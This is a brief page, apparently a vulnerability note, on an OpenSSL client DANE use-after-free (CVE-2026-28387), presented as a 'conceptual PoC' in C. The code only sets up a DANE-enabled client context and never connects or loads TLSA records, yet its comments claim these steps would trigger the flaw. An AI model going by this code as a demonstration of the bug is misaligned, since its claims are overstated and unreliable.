CVE-2026-28387 OpenSSL客户端DANE验证释放后利用漏洞

/* * Conceptual PoC for CVE-2026-28387 * This C code snippet demonstrates the client configuration required to trigger the vulnerability. * It must be linked against a vulnerable version of OpenSSL. * The exploit requires a server presenting TLSA records with both PKIX (0/1) and DANE-TA (2) usages. */ #include <stdio.h> #include <openssl/ssl.h> #include <openssl/err.h> int main() { SSL_CTX *ctx; SSL *ssl; const char *hostname = "example.com"; // 1. Initialize OpenSSL SSL_library_init(); SSL_load_error_strings(); // 2. Create a generic client context ctx = SSL_CTX_new(TLS_client_method()); if (!ctx) { fprintf(stderr, "Error creating SSL context\n"); return 1; } // 3. Enable DANE verification (Vulnerable Configuration) // This enables the code path that processes TLSA records if (SSL_CTX_dane_enable(ctx) <= 0) { fprintf(stderr, "Error enabling DANE\n"); SSL_CTX_free(ctx); return 1; } // 4. Create SSL connection structure ssl = SSL_new(ctx); if (!ssl) { fprintf(stderr, "Error creating SSL structure\n"); SSL_CTX_free(ctx); return 1; } // 5. Set the hostname for DANE lookup (TLSA records) // If the DNS server returns mixed PKIX and DANE-TA records, // the following operations would trigger the UAF/Double-Free. SSL_set_tlsext_host_name(ssl, hostname); // Note: Actual connection logic to a malicious server is required to trigger the crash. // This code sets up the prerequisite state. printf("Vulnerable client configuration initialized. Connect to malicious server to exploit.\n"); SSL_free(ssl); SSL_CTX_free(ctx); return 0; }